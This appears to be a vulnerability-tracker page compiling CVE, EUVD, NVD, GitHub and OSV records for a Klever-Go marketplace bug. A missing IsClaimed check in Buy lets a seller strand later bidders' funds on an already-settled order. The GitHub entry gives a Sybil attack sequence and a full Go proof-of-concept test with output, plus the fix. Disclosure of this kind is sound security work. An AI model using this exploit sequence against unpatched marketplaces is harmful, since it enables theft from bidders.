Klever-Go: Zombie-order theft: `Buy` missing `IsClaimed` guard in native marketplace

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Klever-Go is the Go implementation of the Klever blockchain protocol. Prior to 1.7.20, the native marketplace function core/kapp/market/market.go Buy does not check IsClaimed before accepting a bid. A seller can use the Claim seller-accept branch to settle a resting-bid auction while leaving the claimed order loadable with a future EndTime and stale CurrentBid and CurrentBidder values. A later bidder can submit a higher bid, be debited, and cause the previous bidder to receive a refund even though the NFT has already been delivered. Because Claim and CancelOrder reject the later bidder when IsClaimed is true, the later bidder cannot obtain the NFT or recover the funds. This issue is fixed in version 1.7.20.

Source published

23 Sep 2026 19:10:23 UTC

Source modified

24 Sep 2026 15:20:49 UTC

Observed here

23 Oct 2026 15:48:27 UTC

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CVE Program Terms of Use

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CVSS 4.0 · 7.1 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

Klever-Go is the Go implementation of the Klever blockchain protocol. Prior to 1.7.20, the native marketplace function core/kapp/market/market.go Buy does not check IsClaimed before accepting a bid. A seller can use the Claim seller-accept branch to settle a resting-bid auction while leaving the claimed order loadable with a future EndTime and stale CurrentBid and CurrentBidder values. A later bidder can submit a higher bid, be debited, and cause the previous bidder to receive a refund even though the NFT has already been delivered. Because Claim and CancelOrder reject the later bidder when IsClaimed is true, the later bidder cannot obtain the NFT or recover the funds. This issue is fixed in version 1.7.20.

Source published

Sep 23, 2026, 7:10:23 PM (timezone not stated)

Source modified

Sep 24, 2026, 3:20:49 PM (timezone not stated)

Observed here

11 Nov 2026 16:11:04 UTC

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ENISA EUVD · source terms and attribution apply

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EUVD CVSS 4.0 · 7.1 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

Klever-Go is the Go implementation of the Klever blockchain protocol. Prior to 1.7.20, the native marketplace function core/kapp/market/market.go Buy does not check IsClaimed before accepting a bid. A seller can use the Claim seller-accept branch to settle a resting-bid auction while leaving the claimed order loadable with a future EndTime and stale CurrentBid and CurrentBidder values. A later bidder can submit a higher bid, be debited, and cause the previous bidder to receive a refund even though the NFT has already been delivered. Because Claim and CancelOrder reject the later bidder when IsClaimed is true, the later bidder cannot obtain the NFT or recover the funds. This issue is fixed in version 1.7.20.

Source published

23 Sep 2026 20:17:16 UTC

Source modified

24 Sep 2026 16:17:12 UTC

Observed here

25 Oct 2026 16:19:10 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · [email protected] · Secondary · 7.1 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

**Location:** `core/kapp/market/market.go` — `Buy()` (approx. L281–436)\ **Severity:** High The native marketplace enforces an `IsClaimed` guard in `Claim` (`market.go:752`), `CancelOrder` (`market.go:1125`), and `orderEscrowAmount` (`market.go:251`), but **not in `Buy`**. Marketplace escrow is *virtual*: the market KApp account never custodies currency. A bid burns funds from the bidder (`bidderAcc.SubFromBalance`, ~L378), and refunds/payouts mint to the recipient (`AddToBalance`, e.g. the prior-bidder refund at ~L349). Soundness depends on each order's `CurrentBid` being paid out exactly once. A seller can settle a resting-bid auction **early** via the seller-accept branch of `Claim` (~L776) → `executeBuyMarket` (~L656). That path sets `IsClaimed=true`, delivers the NFT, pays the seller, and re-saves the order (`SetMarketOrder`, ~L726) — but, unlike every other settle path, it does **not** reset `EndTime` (contrast immediate-buy `Buy` ~L416 and `CancelOrder` ~L1206), and no code path deletes the order. The result is a "zombie" order: already settled, yet still loadable with `EndTime` in the future and a stale `CurrentBidder`. Because `Buy` has no `IsClaimed` guard, a new bidder can still `Buy` on that settled order (the bid guard at ~L317 only forces the new amount `Y > CurrentBid X`). The new bidder is debited `Y`; the prior bidder is refunded `X` (funded by the new bidder, not minted); the new bidder becomes `CurrentBidder` on an `IsClaimed` order and can then neither `Claim` (reverts on `IsClaimed`) nor `CancelOrder` (reverts on `IsClaimed`). Their funds are lost permanently. **Attack sequence (permissionless , anyone can create a sell order):** 1. Attacker (seller `S`) creates a resting-bid auction (`Price=0`, `ReservePrice>0`) for an NFT and self-bids `X` as bidder `A` (Sybil). 2. `S` accepts `A`'s bid early via `Claim` → NFT goes to `A` (= attacker, keeps it), `S` (= attacker) collects the owner payout, order marked `IsClaimed=true` but left "live". 3. Victim `B` bids `Y > X` on the still-live-looking auction via `Buy`. `Buy` refunds prior bidder `A` the amount `X` (`AddToBalance`, L349) and burns `Y` from `B` (`SubFromBalance`, L378). 4. `B` is now `CurrentBidder` on a claimed order and can neither `Claim` nor `CancelOrder` — both revert on `IsClaimed`. `B`'s `Y` is unrecoverable; `X` of it was siphoned to `A`; `Y−X` is destroyed. ### POC ``` package market import ( "testing" "github.com/klever-io/klever-go/common/mock" "github.com/klever-io/klever-go/core/kapp" "github.com/klever-io/klever-go/core/process/kda/kdautils" "github.com/klever-io/klever-go/data/block" "github.com/klever-io/klever-go/data/state" "github.com/klever-io/klever-go/data/transaction" "github.com/klever-io/klever-go/kapps" "github.com/klever-io/klever-go/kvm/mock/stub" "github.com/stretchr/testify/require" ) // TestPoC_ZombieOrder_MissingIsClaimedGuardInBuy proves the fund-loss / theft // vulnerability caused by `Buy` lacking the `IsClaimed` guard that `Claim` // (market.go L752) and `CancelOrder` (market.go L1125) both enforce. // // Attack (attacker A == seller S, victim B): // 1. S lists an NFT as an Auction with Price=0, ReservePrice=R (bids REST). // 2. A places a resting bid X >= R via Buy (records CurrentBid/CurrentBidder, // no settlement because Price==0). // 3. S accepts the resting bid early via Claim's seller-accept branch (L776), // which routes to executeBuyMarket: IsClaimed=true, NFT delivered to A, // proceeds paid to S(=A). This settle path is the ONLY one that does NOT // reset EndTime and does NOT delete the order -> the order becomes a live // "zombie" (IsClaimed=true, EndTime in the future, still loadable). // 4. Victim B calls Buy on the zombie order with Y > X. Buy has no IsClaimed // guard, so it SUCCEEDS: B is debited Y, prior bidder A is "refunded" X // (funded by B), and B becomes CurrentBidder on an already-claimed order. // 5. B can NEITHER Claim (reverts on IsClaimed) NOR CancelOrder (reverts on // IsClaimed). B's Y is unrecoverable; X of it is siphoned to A. // // HARM proven: B ends down Y with no NFT and no recovery path; A ends up X. func TestPoC_ZombieOrder_MissingIsClaimedGuardInBuy(t *testing.T) { const ( blockTime = int64(1000) endTime = int64(1_001_000) // future relative to blockTime reserve = int64(1_000_000) // R bidX = int64(1_000_000) // A's resting bid (== reserve, >= reserve required) bidY = int64(2_000_000) // B's bid on the zombie order (must be > X) fundAttacker = int64(10_000_000) fundVictim = int64(10_000_000) ) klv := kdautils.KLVIdentifier collectionID := []byte("ZOMBIE-COLL") assetID := []byte("1") marketplaceID := []byte("mp-zombie") orderID := []byte("order-zombie") attacker := defaultAddr // A == S (seller and first bidder) victim := defaultOther // B marketKApp, accCacher, forkController := createTestMarketKApp(t) // Post-fork behaviour (guards on royalty overflow enabled); does not touch // the missing-IsClaimed-guard path being tested. forkController.FixMarketBuyOverflowValue = true // --- Fund the two user accounts (Buy debits real balances) --- attackerAcc, err := accCacher.LoadUser(attacker) require.NoError(t, err) require.NoError(t, attackerAcc.AddToBalance(fundAttacker, klv, false)) require.NoError(t, accCacher.UpdateUser(attackerAcc)) victimAcc, err := accCacher.LoadUser(victim) require.NoError(t, err) require.NoError(t, victimAcc.AddToBalance(fundVictim, klv, false)) require.NoError(t, accCacher.UpdateUser(victimAcc)) // --- Set up the market KApp: marketplace + escrowed NFT + resting auction order --- marketKappAcc, err := accCacher.LoadKApp(kapps.MarketKAppAddress) require.NoError(t, err) require.NoError(t, marketKApp.SetMarketplace(marketKappAcc, &kapps.Marketplace{ ID: marketplaceID, OwnerAddress: attacker, Name: []byte("Zombie Market"), ReferralAddress: attacker, ReferralPercentage: 0, // keep accounting clean })) // The NFT is escrowed in the market KApp (as if seller deposited it via Sell). require.NoError(t, marketKappAcc.AddInternalKDA(collectionID, assetID, []byte("nft-data"))) // Auction with Price=0, ReservePrice=R -> bids REST (see Buy L330-337 and // Sell L1003-1014: Auction has no Price>0 requirement). order := &kapps.MarketOrderData{ ID: orderID, MarketplaceID: marketplaceID, MarketType: kapps.MarketOrderData_Auction, OwnerAddress: attacker, CollectionID: collectionID, AssetID: assetID, CurrencyID: klv, Price: 0, // <-- makes bids rest instead of auto-settle ReservePrice: reserve, // R ReferralPercentage: 0, StartTime: blockTime, EndTime: endTime, // future IsClaimed: false, } require.NoError(t, marketKApp.SetMarketOrder(marketKappAcc, order)) require.NoError(t, accCacher.UpdateKapp(marketKappAcc)) // --- Shared KApp context / controller wiring for all handler calls --- receiptsStub := mock.NewReceiptsContextStub() ctx := &mock.KAppContextStub{ ContractIDCalled: func() int { return 0 }, ReceiptsCalled: func() kapp.ReceiptsContext { return receiptsStub }, BlockCalled: func() *block.Block { return &block.Block{Header: &block.BlockHeader{Timestamp: blockTime}} }, TxNonceCalled: func() uint64 { return 1 }, } // Zero-royalty asset so executeBuyMarket pays only marketOwnerAmount (== bid) to the owner. asset := &kapps.KDAData{ OwnerAddress: attacker, Royalties: &kapps.RoyaltiesData{ Address: attacker, MarketPercentage: 0, SplitRoyalties: make(map[string]*kapps.RoyaltySplitData), }, } controllerStub := &stub.KAppControllerStub{ GetCurrentKAppContextCalled: func() kapp.KappContext { return ctx }, GetKDAKAppCalled: func() kapp.KDAKapp { return &stub.KDAKappStub{ GetKDACalled: func(_ []byte) (state.KAppAccountHandler, *kapps.KDAData, error) { return nil, asset, nil }, } }, } require.NoError(t, marketKApp.SetKAppController(controllerStub)) balance := func(addr []byte) int64 { a, e := accCacher.LoadUser(addr) require.NoError(t, e) return a.GetBalance(klv, false) } // ============================================================ // STEP 1: A places a RESTING bid X via the real Buy handler. // ============================================================ status, err := marketKApp.Buy(attacker, &transaction.BuyContract{ ID: orderID, CurrencyID: klv, Amount: bidX, }) require.NoError(t, err, "resting bid should succeed") require.Equal(t, transaction.Transaction_Ok, status) _, restedOrder, err := marketKApp.GetMarketOrder(orderID) require.NoError(t, err) require.Equal(t, bidX, restedOrder.CurrentBid, "bid must REST (record CurrentBid), not settle") require.Equal(t, attacker, restedOrder.CurrentBidder) require.False(t, restedOrder.IsClaimed, "resting bid must not settle the order") require.Equal(t, fundAttacker-bidX, balance(attacker), "A debited X on the resting bid") // ============================================================ // STEP 2: S(=A) accepts the resting bid EARLY via Claim (seller-accept // branch). This settles the order but leaves EndTime in the future // and does NOT delete the order -> zombie order. // ============================================================ status, err = marketKApp.Claim(attacker, &transaction.ClaimContract{ID: orderID}) require.NoError(t, err, "early seller-accept claim should succeed") require.Equal(t, transaction.Transaction_Ok, status) _, settledOrder, err := marketKApp.GetMarketOrder(orderID) require.NoError(t, err, "order must remain LOADABLE after early claim (not deleted)") require.True(t, settledOrder.IsClaimed, "order is now claimed/settled") require.GreaterOrEqual(t, settledOrder.EndTime, blockTime, "BUG: early-claim settle path leaves EndTime in the future (order looks live)") require.Equal(t, endTime, settledOrder.EndTime, "EndTime was NOT reset by the settle path") // A got the NFT proceeds back (owner payout == bid X), so A is whole again post-settle. require.Equal(t, fundAttacker, balance(attacker), "A recovered X as owner payout on settle") // ============================================================ // STEP 3: Victim B calls Buy on the ZOMBIE (already-claimed) order with Y>X. // Buy has NO IsClaimed guard -> this SUCCEEDS (the vulnerability). // ============================================================ status, err = marketKApp.Buy(victim, &transaction.BuyContract{ ID: orderID, CurrencyID: klv, Amount: bidY, }) require.NoError(t, err, "BUG: Buy accepts a bid on an already-claimed (settled) order") require.Equal(t, transaction.Transaction_Ok, status, "BUG: Buy returns Ok on a claimed order (missing IsClaimed guard)") require.Equal(t, fundVictim-bidY, balance(victim), "B debited Y") require.Equal(t, fundAttacker+bidX, balance(attacker), "A received a PHANTOM refund of X (funded by B) on the zombie order") _, zombieOrder, err := marketKApp.GetMarketOrder(orderID) require.NoError(t, err) require.Equal(t, victim, zombieOrder.CurrentBidder, "B is now CurrentBidder on a claimed order") require.Equal(t, bidY, zombieOrder.CurrentBid) require.True(t, zombieOrder.IsClaimed, "order is STILL claimed - B is stuck") // ============================================================ // HARM ASSERTION (a): B cannot Claim -> reverts on IsClaimed (market.go L752). // ============================================================ status, err = marketKApp.Claim(victim, &transaction.ClaimContract{ID: orderID}) require.Error(t, err, "HARM: B's Claim must revert (order already claimed)") require.Equal(t, transaction.Transaction_ParameterInvalid, status, "HARM: Claim rejected via IsClaimed guard - B cannot retrieve NFT or refund") // ============================================================ // HARM ASSERTION (b): B cannot CancelOrder -> reverts on IsClaimed (market.go L1125). // ============================================================ status, err = marketKApp.CancelOrder(victim, &transaction.CancelMarketOrderContract{OrderID: orderID}) require.Error(t, err, "HARM: B's CancelOrder must revert (order already claimed)") require.Equal(t, transaction.Transaction_ParameterInvalid, status, "HARM: CancelOrder rejected via IsClaimed guard - B cannot recover funds") // ============================================================ // HARM ASSERTION (c): Net accounting - B is permanently down Y with no NFT // and no recovery path; A is permanently up X. // ============================================================ require.Equal(t, fundVictim-bidY, balance(victim), "HARM: B is down Y (%d) with no NFT and no recoverable path", bidY) require.Equal(t, fundAttacker+bidX, balance(attacker), "HARM: A is up X (%d), siphoned from B", bidX) // Confirm B never received the NFT (it was delivered to A at settle time). victimFinal, err := accCacher.LoadUser(victim) require.NoError(t, err) _, nftErr := victimFinal.SubInternalKDA(collectionID, assetID) require.Error(t, nftErr, "HARM: B holds no NFT for the funds it lost") t.Logf("PROVEN: B lost %d KLV (balance %d -> %d), unrecoverable. A gained %d KLV (balance %d -> %d). "+ "Y-X = %d KLV destroyed/stranded.", bidY, fundVictim, balance(victim), bidX, fundAttacker, balance(attacker), bidY-bidX) } ``` Executable Go test: `core/kapp/market/poc_zombie_order_test.go` — `TestPoC_ZombieOrder_MissingIsClaimedGuardInBuy` Run: ``` cd klever-go GOTOOLCHAIN=auto go test ./core/kapp/market/ -run TestPoC_ZombieOrder_MissingIsClaimedGuardInBuy -v ``` (Local Go 1.23.1 auto-fetches toolchain 1.25.7 per `go.mod`. Full market package suite passes no regressions.) Output: ``` PROVEN: B lost 2000000 KLV (balance 10000000 -> 8000000), unrecoverable. A gained 1000000 KLV (balance 10000000 -> 11000000). Y-X = 1000000 KLV destroyed/stranded. --- PASS: TestPoC_ZombieOrder_MissingIsClaimedGuardInBuy (0.00s) PASS ``` Assertions proven (all using real market functions, harm-level not mechanism-level): - Resting bid: `Price=0` auction → bid rests (`CurrentBid=X`, `IsClaimed=false`), no auto-settle. - Early seller-accept `Claim` → `IsClaimed=true`, `EndTime` still in the future, order still loadable (the zombie). - Victim `Buy` on the claimed order returns `Transaction_Ok` (the vulnerability no `IsClaimed` guard). - Harm (a): victim's `Claim` reverts `Transaction_ParameterInvalid`. - Harm (b): victim's `CancelOrder` reverts `Transaction_ParameterInvalid`. - Harm (c): victim `−Y`, attacker `+X`, victim holds no NFT and has no recovery path. ### Impact - **Direct, permanent fund loss** for any bidder who bids on an already-settled order. The victim's entire bid `Y` is burned with nothing received and no recovery path (`Claim` and `CancelOrder` both revert on `IsClaimed`). - **Theft**: the attacker (seller, also acting as prior bidder `A` via Sybil) keeps the NFT *and* harvests `≈X` from each subsequent bidder. Repeatable across many bait orders. - **Value destruction**: `Y−X` per victim is burned (supply strictly decreases this is theft/fund-loss, not net inflation). - No privileged role required , anyone can create a marketplace sell order. - Real-world likelihood is Medium: the victim must bid on a settled order that, on-chain, still reads `EndTime`-in-future; exposure depends on whether clients surface claimed orders as biddable (a naive/custom frontend or a sniping bot is trappable). Impact High × Likelihood Medium -> **High**. ### Recommendation Add an `IsClaimed` guard at the top of `Buy`, mirroring `Claim` (`market.go:752`) and `CancelOrder` (`market.go:1125`): ```go if marketOrder.IsClaimed { return transaction.Transaction_ParameterInvalid, ErrMarketOrderAlreadyClaimed } ``` Defense-in-depth (optional but recommended): in `executeBuyMarket`, reset `EndTime`/`CurrentBid`/`CurrentBidder` (or delete the order) on early settlement so a settled order is no longer indistinguishable from a live one. Gate any consensus-visible behavior change behind an epoch fork flag so historical blocks reprocess identically.

Source published

23 Sep 2026 21:24:03 UTC

Source modified

1 Oct 2026 20:56:18 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

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CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

Publisher rating · HIGH

Klever-Go: Zombie-order theft: `Buy` missing `IsClaimed` guard in native marketplace in github.com/klever-io/klever-go

Source published

1 Oct 2026 20:23:38 UTC

Source modified

1 Oct 2026 20:45:14 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.